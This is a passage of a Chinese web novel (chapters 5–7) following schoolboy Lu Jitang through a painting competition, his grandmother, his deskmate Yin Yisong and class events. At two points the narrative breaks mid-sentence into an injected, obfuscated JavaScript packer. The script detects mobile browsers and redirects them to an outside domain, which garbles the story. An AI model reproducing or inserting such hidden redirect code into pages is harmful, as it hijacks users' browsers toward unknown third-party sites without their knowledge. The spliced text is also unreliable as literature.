诚恳道:“既棠,你是宣传部部长,书画艺术节很快就要来了,你回去收集一下材料,跟部门里的人协调一下,咱们这几天就要把社团艺术节活动的海报弄出来,我知道你上周还在赶板报,但还是麻烦你辛苦辛苦哈。” 路既棠刚想说话,魏文昊就扔下一句“快上课了,我先走了”就飞快地走了,生怕路既棠拒绝。 路既棠看着魏文昊的背影,两眼发黑。 “我疲惫了。”路既棠趴在桌上,生无可恋地小声哀嚎。 殷倚松看了一眼教室外的走廊,他熟练地抽出一本书展开,挡在路既棠的桌前,“给你挡着,老班来了我再叫你。” 路既棠小幅度地摆摆手,气若游丝地说:“谢谢了,十分钟之后叫我起来,我的作业还没写完。” 十分钟之后,没等殷倚松伸手推他,路既棠已经鲤鱼打挺般地坐起来了。 就在路既棠坐起来的一瞬间,班主任邓宁煜从窗外走过,站在窗外往教室里看,好巧不巧,正对上了路既棠的眼神。 两人对视片刻,路既棠心虚地别开了头,从抽屉里拿出数学试卷开始写。 邓宁煜晚自习都会过来巡堂,一个学期下来,路既棠已经摸清了他的巡堂规律。自修坐班那天巡堂邓宁煜就来得晚一些——晚十分钟到半个小时不等。这也是路既棠敢在上晚自习后直接趴下的原因。 但道高一尺,魔高一丈。邓宁煜从后门走进教室,在经过路既棠的桌前时还有意无意地敲了两下。 邓宁煜走上讲台,环顾教室,底下黑压压一片脑袋——大家低着头奋笔疾书,疯狂地赶作业,下一节自修就有他自己科目的随堂考。他在教室转了一圈后,心满意足地走了。 邓宁煜走了之后,班长岑嘉凝起身走上去,轻轻咳了一声,开始说事情。“大家不用抬头,留只耳朵听我讲的内容就好了。” “书画艺术节快到了,艺术节一共有四个板块,绘画展、书法展、朗诵比赛还有‘阅读之星’读书分享会,绘画展和书法展合在一起成了书画展。”她说道,“书法展那一块分为硬笔书法和软笔书法,硬笔书法要求每一位同学都参加,软笔书法自愿参加,绘画展也是自愿参加,这些之前也和大家说过了,现在绘画展和软笔书法的报名也已经结束。” “期待大家的精彩表现。”她停了一下,然后接着说道:“至于朗诵比赛,分为中文和英文,学校那边要求高一每个班出五个人,希望大家积极点,到学习委员曹语梁那里报名,明天下午第九节下课截止。” 黑发及肩的文静女孩捏着笔,听到岑嘉凝的话,抬起头冲岑嘉凝点了点头,正是学习委员曹语梁。 “最后一个是‘阅读之星’读书分享会,每个班需要派一个代表,参加读书分享会,听完之后要写不少于一千字的感想,谁想来?” 岑嘉凝站在讲台上一摊手。 吴睿凌带头起哄,一波人一听要写感想,顿时跟着吴睿凌喊:“班长来班长来……” 岑嘉凝笑:“我就知道,逼你们去参加这种活动,你们非活剥了我不可。” 这是答应了。 5. 第 5 章 一周的时间很快过去了。 除了节假日,南中一周只在星期天下午放半天假。 路既棠拿张旧报纸把比赛专用的宣纸一卷,背上书包就跟着人潮走出校门。 校门外简直可以说得上是人山人海,路口被堵得水泄不通,大多数都是来接学生的家长,交警在维持秩序。 路既棠的家所在的小区私密性好,环境舒适,离处于市中心的南中有三四公里。 “奶奶!”路既棠用钥匙打开门,在玄关处一边低头换鞋一边高声喊:“我回来了。” 客厅没人回他。 路既棠于是直接往往厨房走去,厨房的门被拉上了,一点袅袅的烟雾却透过半掩的门扉传了出来。 路既棠拉开门,走了进去。果不其然,路既棠的奶奶正躺在厨房外小阳台的躺椅上,摇着团扇,半阖着眼晒太阳。 而她正对着的是正搁着厨房灶上用小火煨的汤。那汤似乎已经到了火候,一股鲜而不腻的汤味裹着一点被团扇扇出来的微风拂过路既棠的脸,汨汨鼓动的声音和着从瓦煲盖的小孔里冒出来的薄雾,正往外飘。 路既棠轻手轻脚地走到阳台上,他一走过来,路奶奶就察觉到了动静,她那原先半阖着的眼睁开了,笑起来:“小棠回来了。” 她已经年近七十,脸上有着细细的皱纹和不太明显的老人斑,一头不长的银发在不薄不烈的阳光照耀下看起来分外柔顺,一眼看上去,像是一幅迟暮美人图。 路既棠弯下身,喊了一声“奶奶”,把手搭在奶奶的手腕上,路奶奶反握了握孙子的手,年轻白净的手和暮年长着老人斑的手放在一处,使得一段看不见的光阴忽然有了一点具象化的痕迹。 “小棠,给我搭把手,”路奶奶说道,“我去看看那煨着的汤。” 路既棠熟练又轻手轻脚地将人扶起来,口中说:“奶奶慢点。” 路奶奶身子骨其实还算硬朗,就是有时候躺久了会起不来,需要人搭把手。 “小棠,”路奶奶用空着的一只手轻轻地拍了一下路既棠的肩头,蔼然问:“这周在学校干什么啦?” 路既棠把人扶起来就松开了手——路奶奶大多数时候都不想让人把她当不能自理的老人看待,但他没将手放下来,只是虚虚地在路奶奶背后环着,等着老人家站稳,然后他开始把一些趣事说给路奶奶听。 路奶奶听着听着,笑道:“我怎么觉得你说的事情,大半都是你同桌呢,从刚进高中就说到现在,殷倚松这个孩子真的就这么好吗?” “因为我在学校的时间,大部分都是和他一起。”路既棠理直气壮。 路奶奶笑着摸了摸他的头,“小棠喜欢就好。” “对了奶奶,书画艺术节快到了,我这周得画幅国画,我找了几个样式。”路既棠看着路奶奶动作舒徐地用汤勺调汤,“但我还没想好画什么,”他像以往的很多时候一样,露出一点让老人家亲近的撒娇意味道:“奶奶,你能不能给我拿个主意。” 路奶奶没退休时是大学教师,教国文,在国画上也极有造诣,画得一手好丹青。其实路既棠那些让人艳羡的技能几乎都是家学——他并非天赋异禀的天才。 因为即便路奶奶平时待人接物很随和,对小孙子更是十分疼爱,但这并不影响她在督促孙子学东西时的严格——万事从来贵有恒,路既棠练字学画时被拘在屋里一整天也是常有的事,很多时候,学东西需要静下心来,滴水能穿石就贵在“有恒”。 路奶奶一边把瓦煲里的汤盛到汤碗里,一边听路既棠说话,“不急,先吃饭。” 路既棠乖巧地应了声好,然后把汤碗端到餐桌上,和奶奶开始吃午饭。 吃饭的时候,路奶奶看着他眼下淡淡的黑眼圈,心疼道:“这样下去可不行。” 路既棠囫囵劝慰道:“高中就是这样的,等我上了大学就好了。” 吃完饭后,路既棠自觉地把碗洗了,和奶奶打了声招呼,给路奶奶看过自己想画的几幅样图,让路奶奶在不会影响比赛公平性的范围内简单指点几句后,回房间午睡去了。 路既棠的房间比一般男孩子的都要整洁一些,一排书架贴着墙立着,上头整整齐齐地码着分好类的书——都是没办法放到书房让路奶奶看见的书。 米白色墙上挂着路既棠从小到大收集来的小玩意。窗帘垂放下来,屋里光线有些暗,空气也有些凝滞,一眼看过去就知道房间的主人有段时间没回来了——孩子大了,有自己的隐私,需要私人空间,路奶奶一般不会进路既棠的房间。 路既棠进房间前把之前放在客厅书包也拿了进来,把那张用旧报纸包裹起来的比赛专用宣纸拎出来,进了就在房间对面的书房,他绕过雕花镂空的屏风,把宣纸摊在铺了毛毡的案上,用墨锭压住。 完事之后,他回自己房间,定了闹钟,躺回床上盖上被子睡过去了。 午后的阳光渐渐燥热起来,和着空调的微微嗡鸣声,有了一点仲春的味道。 南方的春天,如果有阳光,那它会是绿意盎然、生气勃勃的,让人晒着太阳就能愉悦起来。 下午两点半的闹钟把路既棠闹醒了。他赖了一会床,从床上爬起来,出了房间,轻手轻脚地下楼,以免吵到一般在这时候午睡的奶奶。 路既棠走进书房,从盒子里取出一小块油烟墨,和着一点清水在砚台里将墨化开,细细碾磨,将墨磨好之后,他从手机里调出之前存在手机里的山水画的照片,选了好一阵子,终于定好了。 路既棠把三支长锋、中锋和短锋笔的笔头用清水晕开,搁在笔架上。 只有几个小时的时间,必须要快,路既棠在作画前,打算大刀阔斧地将样图上的东西修改。他画的这幅画不需要颜料,所以那些花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396629|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青、藤黄和胭脂之类的颜料在这副画里派不上用场,路既棠把放置着颜料的盒子挪到了另一张桌子上。 他要画的这幅山水画大体上有三个部分——远处连着朦胧云雾的山、近处飞瀑峻石的高山和一方长着虬壮苍松的石径。 书房很静,极其清淡的墨香在宣纸上盈开,氤氲了路既棠的眉目。 他修长的手指握着毛笔在纸上作画。 在他所学里,国画的临摹“重神不重形”,作画者心中要有“意”。这意味着作画者不能拘泥于一块小地方,要从整体上看。不要想着对一幅画一笔不落地画出来,亦步亦趋始终只能走在人的后头,要好好揣摩揣摩,即便是临摹,也要临摹出自己的风格。 路既棠一边作画,一边回想自己第一眼见这幅画时的心境——远山掩藏在云雾中,只有一个模模糊糊的轮廓,近处百仞高崖之上,有嶙峋怪石,一流瀑布自崖顶倾泻而下,落入深不见底的寒渊。山崖对面有一人立于石径之上,倚在苍松旁,孤绝地看着一去不回的飞瀑,在浩大天地面前,那人渺小得就像是一只蝼蚁。 天地蜉蝣,沧海一粟,不外乎此。 他的手随着意而动,一支狼毫在他手里舞出各式各样的形状——中锋起笔、侧锋压阵,浓墨与淡墨交相辉映,清墨偶尔点缀其中,焦墨擦出的峻峭山石摞在崖顶,重墨勾出的石径蜿蜒望不到尽头。 直到收笔之时,不知什么时候站在他身旁的路奶奶出声:“小棠,你想给这幅画起个什么名字?” 路既棠回过神来,他沉思了一会,回答道:“奶奶,我想叫它寒山石径图。” 路奶奶看着孙子笑起来,那笑容轻得像画里拂过远山的清风,“这名字很好。” “远上寒山石径斜,白云生处有人家。”虽然没有杜牧诗中的几户人家,但有在石径上远望寒山的浮云客。 路既棠乐颠颠地把新鲜出炉的画用夹子固定住,搁在架上等它烘干,做完这些之后一看时间——“怎么这么快就五点了!奶奶!” 路奶奶笑道:“饭已经做好了,慢点,不急。” 路既棠洗完澡,吃完晚饭,把已经风干的画卷好妥帖地收进书包后,在玄关处换鞋,“奶奶,我回学校了啊,”他换好鞋,打开门,“和秋染的外婆出门时要注意安全。” 路奶奶倚在客厅的放置绿萝的木架旁,从院子里移进来的绿萝叶子鲜嫩而绿油油,探出一个头来,正好贴在路奶奶的鬓边,将她整个人都衬得鲜活明亮了不少。 下午的阳光有些昏黄,透过落地窗洒在绿萝上、路奶奶身上,她站在那里,站在时光深处。 她倚着木架,眼睛一眨不眨地笑看着孙子推开门走出去,又将头探进来,口中不厌其烦地嘱托着,最后路既棠说道:“奶奶,我回学校了,下周见。” 门关上了。 路奶奶垂下了眼睛。 6. 第 6 章 路既棠一走进教室,杨秋染就飞奔过来,开门见山地问:“路既棠,你画得怎么样了?” “画完了,”路既棠给了她一个询问的眼神,“你怎么样?” 杨秋染忽略后面那句话,伸出手,笑意盈盈道:“哪呢,我看看。” 路既棠从书包里拿出画递给她,杨秋染展开画看了足足两分钟,真情实感地说道:“你的技巧进步了好多,”她将画拢起来,“我就知道,你是我们班最靓的崽!” 路既棠笑出了声,他边笑边说:“给我看看你的画,也让我夸一下你。” 路既棠从来都不会怀疑杨秋染的实力,因为一个拿过全国书画比赛一等奖的女孩子,站在那里,本身就是一种威慑力。 因为路奶奶和杨秋染外婆走得近,以及路既棠的父亲和杨秋染的父亲是高中同学的原因,他们两人从小就是对方眼里“别人家的孩子”,一直暗暗比较,从成绩比到业余爱好,万物皆可作为比较,他们比归比,但感情一直都很好。 两人是妥妥的青梅竹马,但“青梅”和“竹马”对对方的从小到大的丢人事件都知道得一清二楚,实在没有办法发展除了纯洁友谊之外的其他感情。 “我的还要补一下,画完给你看。”杨秋染叹了口气,“这都四月中旬了,等书画艺术节结束,都得五月份了,”她面露痛苦之色,“为什么高一的活动怎么多?连假期都紧巴巴的。” 路既棠边收拾书包边回她,“是的,”他顺着杨秋染的话问道,“你数学卷子写完了么?” 他还善解人意地提醒道:“两张,今晚第二节晚自修下课交。” 杨秋染一听这个噩耗,疯狂掐人中,“救命,数学作业莫挨我!”说完她就灰溜溜地回自己的座位赶作业去了。 星期天的晚自习前的那段时间,教室的气氛总是比其他傍晚活跃许多——刚放了半天假回来,大家还在讨论回家干了什么、吃了什么。 十点半下了晚自修后,路既棠起身要走,殷倚松叫住了他,“你上节自修下课时说今晚要做海报,我也去。” 路既棠停住,他今晚想去学校开辟给社团用的电脑室,把海报的方案和样式做出来,他有些迟疑,“我记得你今晚好像也有事。” “我已经做完了。”殷倚松也起身,“最近从教学楼去图书馆必经的那条路的灯坏了,晚上很黑,”他可疑地停顿了一下,然后接道:“不太安全。” 路既棠没多想,“那我们走吧。” 两人出了教学楼,很快走摸黑走进那条路灯坏掉的路,一路无事,但就在路既棠一脚踏在图书馆后门的台阶上已经看到光时,一阵压抑的轻喘声从不远处的一个黑暗拐角处传来。 一道男生的声音隐隐传来,有些委屈,“你明明知道你和她走得近我会不开心,你故意气我对不对……” 春夜里,这声音和着凉风,有着说不尽的缱绻意味。 路既棠当时就惊了,他猛地回头,然后猝不及防地对上了殷倚松的目光。 路既棠无声地做口型,“你说的不太安全是这个?” 殷倚松于是别开目光,往那道声音处看了一眼,很轻地“嗯”了一声。 路既棠当即在心中默念五遍网友著名言论,“心中无爱人,学习自然神。要想学习神,除掉心上人。”念完之后,他抖擞精神,顿时神清气爽,他拽了一下殷倚松的衣角又松开,示意对方跟上。 路既棠提前几步进了图书馆,没有听到另一道声音。 那也是一个男生的声音。 在那道声音响起后,殷倚松身形一震。 几秒后,殷倚松敛眸跟上了路既棠。 电脑室里,路既棠右手按在鼠标上,左手手指在键盘上飞快游走——从最后一节自修下课的十点半到晚休铃响只有二十分钟的时间,虽然宿舍楼的大门得到十一点十分才关上,但宿管阿姨会查寝,所以要快。 电脑室里,只有殷倚松和路既棠两个人。 路既棠的手指修长白净,操作又快又稳,看起来非常赏心悦目,一幅海报慢慢成形,他推了推鼻梁上因为电脑亮度而泛起蓝光的细框眼镜,眼睛一眨不眨地看着屏幕。 就在路既棠要从网站上导出海报时,殷倚松止住了他的动作,他示意路既棠看,“这两个图层重叠了,导出来会遮挡住下面的几个文字。” 路既棠歪头看,殷倚松将路既棠的右手从鼠标上拿下来,说道:“我来。” 最后一幅具有古典韵味、符合社长口味的海报被打印出来,路既棠收拾好电脑室,和殷倚松一起离开了图书馆。 在回寝室的路上,路既棠和殷倚松默契地没有提去图书馆时撞上的事。南中有三条“高压线”,早恋、作弊和违法犯罪。 每个班主任在新生入学那一年都会耳提面命,这三条高压线是每个南中学生都不能越过的,一旦越过,后果自负。 路既棠知道刚才听到的事如果捅到学校层面会有什么后果,他不想害他们。 夜里,路既棠入睡前两手交叉搭在被子上,有一搭没一搭地想明天吃什么,他翻了个身,把被子拉到下巴处,又揉了揉柔软的枕头,脸贴着枕头闭上了眼睛,很快进入了梦乡。 路既棠的上铺直到后半夜才响起平静的呼吸声。 一夜就这样过去了。 第二天上午,路既棠在下课时间拿着海报去七班找魏文昊。 魏文昊接过海报,展开后细细看了一会,眼睛渐渐亮了起来,“没错,就是这样,”他猛拍路既棠的肩膀,“既棠,我们社有你这样的人才真了不起!” 路既棠并没有露出欣喜的表情,过去的经验让他开始淡定地等魏文昊画饼后下一个任务。 下一刻,魏文昊又道:“那板报这两天也肯定能完成了,相信你,你是最棒的。” 路既棠心道,好的,板报期限又缩短了三天。 魏文昊看着路既棠的脸色,“怎么了,有什么难度吗,嗐,这点难度肯定难不倒你的。” 于是这件事又被社长一锤定音了。 路既棠初涉江湖,就遇上了擅长画饼压榨员工的不良老板。 刚回到教室,路既棠就得知了殷倚松要去参加英语朗诵比赛的消息,路既棠看了一眼那张写着数字的纸条,他问正在转笔的殷倚松,“你是第十二个出场的,英语的朗诵比赛全年级有多少人参加?” “抽签的时候听那个老师说,”殷倚松把路既棠递过来的纸条收了回去,“有三十五个人。” 殷倚松笑着接着说,“英语朗诵比赛和中文朗诵比赛分开办,今晚七点半开始的是英语朗诵比赛。” “好,那我今天画完板报去看你的比赛。” 傍晚,路既棠在给板报收尾,血红的夕阳照着天边的彩霞,把板报染成了一种近乎瑰丽的颜色。 当路既棠画完板报,沿着长廊往教学楼的方向走去时,正好看到三班的大部队搬着椅子从楼梯口处涌出来。路既棠抬手看手表——“六点三十”,他心道,“还没到七点,怎么就集合了?” 迎面走来的吴睿凌看到了他,吴睿凌拖着椅子就奔过来,“你的椅子室长帮你拿下来了。”他说着,一指楼梯口——李未序正拖着两把椅子在楼梯的人潮中艰难跋涉。 路既棠赶紧上去接过自己的椅子,并道了谢。 “怎么提前了?”路既棠往楼梯看,“殷倚松呢?” “他要比赛,提前去集合了,”吴睿凌说道,“临时通知说校长要讲话,所以就提前了,咱们走吧。” 广玉兰的幽冷香气散在夜风里,一轮圆月挂上了树梢,被朦胧的光晕簇拥着,看起来很是恬静。 路既棠就坐在台下,在观众席中,抬头望着站在台上演讲的殷倚松,殷倚松的口语很流利,念起英语来声音清越,有些区别于说中文的低沉,像在唱一支动听的歌。 殷倚松说结束语鞠躬时,路既棠跟着周围的人一起鼓掌。他的同桌性情温和,自律理性,在很多时候都散发着不会蛰人的光芒。 他就应该像这样发着光。 很快,殷倚松从台上下来坐到了路既棠左手边。 路既棠弯着眼睛毫不吝啬地夸他,“你表现得真好。” 他示意殷倚松抬头看,声音里含着笑意,“像今晚的月亮。” 他说他像今晚的月亮。 殷倚松像是被这个比喻击中了,怔了好一会,回了一句,“谢谢。” 路既棠笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396630|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 路既棠把目光移回台上,此时离殷倚松下场已经过去了两个人,现在是十五号。 台上的人刚一出来,台下就有人叫出了声,随即响起一阵欢呼声,很短暂,很快就被台上的人做出的停止手势打住了。 站在台上的是一个女孩子。墨黑的长裙将她的皮肤衬得像冬日里的一把新雪,白得不行,也好看得不行。 路既棠右手边的吴睿凌激动得攥住了路既棠的手,“是蒙亦安!” 路既棠知道这个女孩子。来自另一个理科实验班八班的蒙亦安,无论理科的年级第一出于什么原因被换下来,她都是永远的年级第二。 在初中时的一次比赛中,路既棠见过她在上千人的大厅里被抽上去做汇报,她能在一场刚结束的演讲中精准地挑出演讲的重点,并就此展开,之后引经据典,甚至用上了双押的排比句。她很有演讲天赋,她的积累更不输她的天赋。 那是一个很优秀的女孩子。 她的英语口语也自带一种演讲腔,不用怎么渲染就极富感情,她的嘴角是扬起来的,但眉间却很冷静,抑扬顿挫的声音配上那随演讲做出来的肢体动作,有一种说不来的亲和感。 在她演讲结束后鞠躬道谢时,观众席上响起了远比之前热烈的掌声。 她很美丽,是能完美融合冷艳和清丽的美丽,但在她的能力和人格魅力面前,美丽是她最不值一提的优点。 “女神!”吴睿凌又激动得放开路既棠的手,“我真的很希望她把她的英语技能分我点,真的很需要!这格局这口才,英语作文……语文作文都不用愁了!分分钟写八百字!” “你少玩点手机,”后排的李未序拍了拍他的头,“多看点被你塞抽屉角落里的英语报,你也可以达到她的十分之一水平的,千万别灰心啊。” 一直没开口的肖意也接话,“格局打开了。” 吴睿凌转过身去和他们俩父呲子啸。 路既棠一边听台上的演讲,一边侧头津津有味地看他们小声地闹。 等他回过头时,殷倚松从旁边给他递了一包苏打饼,“听说你还没吃晚饭,”他把饼干放进路既棠的手心,“我记得你是吃这个的。” 路既棠于是抬眼看他,只见殷倚松敛眉低眸,已经在看今晚要交的数学卷子了。 路既棠想说点什么,可又觉得,这样就已经很好了。 比赛结束之后,殷倚松上台领奖。蒙亦安是毫无悬念的第一名,第二名是一班的一个女孩子,而他的同桌是第三名。 很快,就在第二天早上,路既棠之前参加书画比赛也出结果了。 路既棠刚到教室,杨秋染就猫着腰溜到路既棠跟前,“路既棠,下面一楼大厅的展览你看了吗?” “怎么了?”路既棠露出疑惑的神色。 杨秋染刚开口,就被刚进教室的吴睿凌打断了,他大声喊道:“大家!咱们班的书画比赛有两个特等奖,一个一等奖、四个二等奖和三个三等奖!我听说,咱们班获奖的人数是整个年级里最多的!666666!” 正在自习的人纷纷抬起头来,第一排穿黄色衣服的女生面露喜色,“真的啊,好厉害,在哪看?速速告知大家!” “就是一楼大厅的展览,”吴睿凌蹦蹦跳跳地来到了路既棠的座位前,“这一届书画比赛获奖的作品都在那里展览,我刚刚还去数了一遍,保真!” 吴睿凌说着看到了杨秋染,“嗨,秋染姐姐,你也在这呢?正好!一起说了!” “你和路哥,一人一个,包揽了这一届绘画类的特等奖!”吴睿凌做抱拳贺喜状。 杨秋染被他逗笑了,“知道了知道了,我刚要和路既棠说。” 吴睿凌转头去看路既棠,路既棠神色很平静,像是早就预料到了,倒是邻座的殷倚松,转过头来。 “听说之前没有特等奖的,”吴睿凌笑弯了眉毛,“这一届书法类最高也才是一等奖,你们俩真是太厉害了,咱们班的人都厉害!” 杨秋染和他打趣了几句,很快两人都回自己的位置自习去了。 “一直知道你画得好,”殷倚松神色认真,“但从来没有像现在这样感知到,其实你有能力将你想做的事情做到极致。” 7. 第 7 章 下午的最后一节课,铃声刚落,邓宁煜就走进教室。 后面跟着抱着一沓奖状的岑嘉凝、肖意和潘禄林把笔、本子之类的奖品抱进教室,放在内走廊的置物桌上。 邓宁煜将他挂在腰上那串标志性的钥匙摘下来放在讲台上,推了推眼镜,开始讲话。 在提醒同学们把心收回来放到学习上,专心准备六月份的会考之后,邓宁煜开始颁奖。 “先集体后个人,”邓宁煜面上平静,但眼角的笑纹却出卖了他,“排球比赛女子组第一名!” 班上响起了热烈的掌声。 “我们班的女生从来没让我失望过。”邓宁煜拿着奖状说道,“女生们可以柔弱,也可以坚毅,外在从来不是衡量能力的唯一标准。” “接下来是篮球比赛男子组第六名。”邓宁煜感叹道:“没想到‘文科联盟’也能有这样的成绩,太不容易了,之前我带的班级在这种时候都是被人摁着打的。” 邓宁煜鼓励道:“继续努力,男生们也很不错。” 又是一阵热烈的掌声。 “软笔书法和绘画集体奖第一名!”邓宁煜看着奖状,煞有介事地点头,“可以,非常不错。” 台下很给面子地再次响起掌声。 邓宁煜抬手一压,掌声迅速平息,“好了,集体奖回头会贴在教室里,下面是颁发个人奖,叫到名字的同学上来领奖。” 路既棠上去领奖时,听见江梓丹在和她的同桌说:“秋染和路既棠厉害了,每人一个特等奖,直接把班里的集体文体分拉满了,超了第二名十几分。” 路既棠笑了笑,没说话。 领完奖下来之后,邓宁煜做总结陈词,“三班是一个整体,你们在外面取得荣誉能给班级争光,你们在外面犯事会给班级抹黑。班级的荣誉需要每一个人去维护,班级也是你们在外披荆斩棘回来的避风港。” “今天就说到这里,”邓宁煜一挥手,“好了,放学了,去吃饭吧。” 他话音刚落,教室里的一大半同学刷地一下冲出了教室,速度快如疾风。 时间很快从仲春走到孟夏。 这天早上,路既棠醒来下床拉开窗帘,窗外雾雨蒙蒙,阴沉沉的,这天是高考的第一天。 路既棠握着喝水的杯子,站在落地窗前闲闲地看着窗外的雨。 高考假结束,路既棠回到学校时,看到一些高考结束的学长学姐还在收拾东西。他迎面遇上了一位高三的学长。他只是认得人,并不知道名字。 路既棠跟他打招呼:“学长好。” “哎,学弟!”留着寸头的学长显然认出了路既棠,他露出笑容,刚想和路既棠说两句话,就被旁边的室友们拉走了,最终只来得及匆匆地跟路既棠挥一挥手。 路既棠看着一群人走远,往后天南海北各走一方,也不知道还有没有再见的机会。 路既棠回到教室,看着正伏案演算的殷倚松,恍然间有一种很久没有见过这个人的感觉,但他还是神色如常地和殷倚松打招呼。 殷倚松抬头看向他,温和地问出一句让路既棠的零星愁绪立即付诸东流的话,“作业写完了吗?” 路既棠:“……” 没有,这令人沧桑的事实。 于是他破罐子破摔:“没有,打个商量,借我抄抄。”说着他把一盒切好的西瓜推过去,“我奶奶切的,你尝尝。”讨好之意不言而喻。 殷倚松闻言看了他几秒,笑起来:“算贿·赂吗?” “算。” 高考结束之后,很快就是高一高二的会考。 路既棠在四楼找到了自己的考场,在顺着考场座位表从一号往下看,在十八号时,路既棠的目光凝住了,他低声而一字一顿地念出了十八号的名字:“梁、艺、珊。” 殷倚松拿回来的活页本扉页上的名字。 七班的梁艺珊。 路既棠的目光落在梁艺珊的照片上——女生扎了个马尾,看上去冷冷清清的。 原来她长这样。他想。 走到路既棠身边的殷倚松看向路既棠目光的落点,“她是我初中同学,居然和你一个考场,真巧。”殷倚松移开目光,淡声道。 路既棠点点头,他很快找到了自己的座位号,24号,正好在这个女生的左边。 学考的题目不难,考场的很多人都掐着点提前交卷了。 路既棠抬头时撞上了梁艺珊的目光,她的目光里带着探究,还有一些说不出来的东西。两人的目光在落笔可闻的考场里悄然撞上,路既棠无意识地冲对方弯了一下唇角,梁艺珊很快回以一笑。 两人又同时移开了目光。 路既棠又看了一眼答题卡,举手示意监考老师要提前交卷。 路既棠和梁艺珊是一前一后出考场的。 路既棠在把手表带回手腕时,殷倚松也从隔壁考场出来了,他拿了东西之后,走到路既棠身边,低声说:“走吧。”说完后,他朝梁艺珊点了点头。 梁艺珊的目光在他们两人中转了一圈,回以意味不明的一笑。 学考结束,期末考紧临其后,期末考结束之后,就是暑假的研学。 每年暑假,只要没有意外,高一学生都要到南中的附属中学上一个月的课。一个月要上完高二第一个学期的大半课程,以便于为高考复习匀出更多的时间。 暑假时老师也需要休息,不像平时盯得那么紧,各班趁着大课间和下课时间偷偷放视频。 吴睿凌跑进来的时候,正好赶上班里放龙猫。他回头一看,就和一只大龙猫对上了眼,“嗷!”吴睿凌“刷”地一声跳出一米远。 吴睿凌怕猫——离得远还好,离得近能让他的毛当场炸起来。 “关了关了。”吴睿凌冲江梓丹挥手,“我有事情要说。” 江梓丹环顾一周,没人反对,于是她关了视频。与此同时,她磨了磨牙,“你要是敢告诉我,你就是和之前一样,纯耍我们玩的,我就掐死你!” “相信我,这次绝不耍你玩!学生会要组织比赛了,”体育委员吴睿凌提高声音,“这回和上学期的不一样,是女生篮球,男生排球!” “啥玩意?”李未序率先喊出来,“男生排球?”看着微笑着盯向自己的吴睿凌,他连忙摆了摆手,“你继续你继续……” 吴睿凌白净的脸上挤出一个阴森森的笑容,“一周的时间练,下周三开始比赛,每个班都要有一支队伍参赛,女生篮球一支,男生排球一支,有意向的同学来向我报名。大家要踊跃点啊。” 路既棠把笔放回笔筒,偏头问殷倚松:“你想去吗?” 殷倚松还没来得及答,就眼疾手快地伸手握住了一个正要往路既棠头上砸的纸团。 他的手背碰到了路既棠柔软的头发,一瞬之后,他克制地收回了手,看了一眼后排正在向他挤眉弄眼的吴睿凌,打开了纸团。 片刻后,殷倚松开口,“吴睿凌问你要不要报名排球赛,报名替补也可以。” 他知道路既棠身体不好,一直不喜欢剧烈运动。 路既棠闻言沉默了一会,这次的排球赛不像之前的几个文科班的男生可以组在一起,班上的男生太少了,但凡吴睿凌还有办法,也不会来找他。 路既棠将下巴搁在书上,有点困倦地回道:“我去,我报名替补。” 夏季日落得晚,时至傍晚六点依然天光大亮,也酷热逼人,一缕傍晚的阳光透过排球馆没关上的小窗,照到了镂空的排球网上,最后落到了路既棠的脸上。 路既棠伸手挡了挡,下一刻,殷倚松逆着光站到了他身前,这人的轮廓染着光,目光深深地看着他。 殷倚松开了一瓶水递给他,“你现在感觉怎么样,要不要再休息一会?”路既棠练了半个小时就累虚脱了,只好坐在场外休息。 路既棠接过水喝了几口,“还能再练一会。” 殷倚松把右手伸到他眼前,路既棠把手递给对方,殷倚松接住他的手,一使劲把他拉了起来。 傍晚六点的排球馆,九个男生挥汗如雨,黄昏似乎分外厚爱他们,明明只有一缕光分到了他们身上,而他们却用这一缕光让整个排球馆熠熠生辉。 然而,当天晚上,一下晚自修,路既棠就回宿舍洗漱,爬回床上躺下。他已经很久没有这样累过了。 殷倚松回到宿舍时,路既棠已经累得睡着了。 殷倚松握住了路既棠还放在被子外的手,三根手指压在对方的手腕上停了一会,又伸手探了探路既棠的额头。然后,他把路既棠的手放进被子里,又把被子掖紧了。 正在开空调的吴睿凌看到了殷倚松的动作,于是小声问:“他没事吧?” 殷倚松低声说:“没事。” 吴睿凌松了一口气,“他身体不好,我不应该拉着他硬来的。” 殷倚松站起身来没说话。 就这样练了一周,他们的第一场比赛来了。 比赛开始之前,他们极有仪式感地围成一圈将手搭在一起加油。 在有些中二的青春里,总有一些东西会让自己热血上头拼尽全力,看似还遥远的高考是,一场为了班级而硬着头皮上场的球赛也是。 初赛时,两个班不讲究战术,都打得迷迷糊糊的。 而吴睿凌在这场比赛无师自通了一种打法——在排球过网时用勾和顶的方式调整排球的速度,然后在离网极近的地方轻轻一撩,让球过界之后就挨着球网直直坠落,碍于不能触网的规则,对方很难接到。 这一招也被吴睿凌称为乱拳打死老师傅的大杀招。 他们凭借着这种方法一路打入复赛。 能进复赛的队伍都是有自己的章法的。吴睿凌在训练时也开始琢磨比赛的战术了。 排球赛每一回上场的需要六个人,但人会因为各种各样的原因被换下来,这时候就需要人补上。 每天训练的时间并不多,只有早上早读前的半个小时和下午放学后的一个半小时。 路既棠每一场训练都不落地跟着练,看着吴睿凌拉着殷倚松和肖意一点一点地安排站位、梳理战术。 他们甚至还把同在体育馆训练的八班排球队拉过一起训练。 就这样,三班的男排一路晋级。 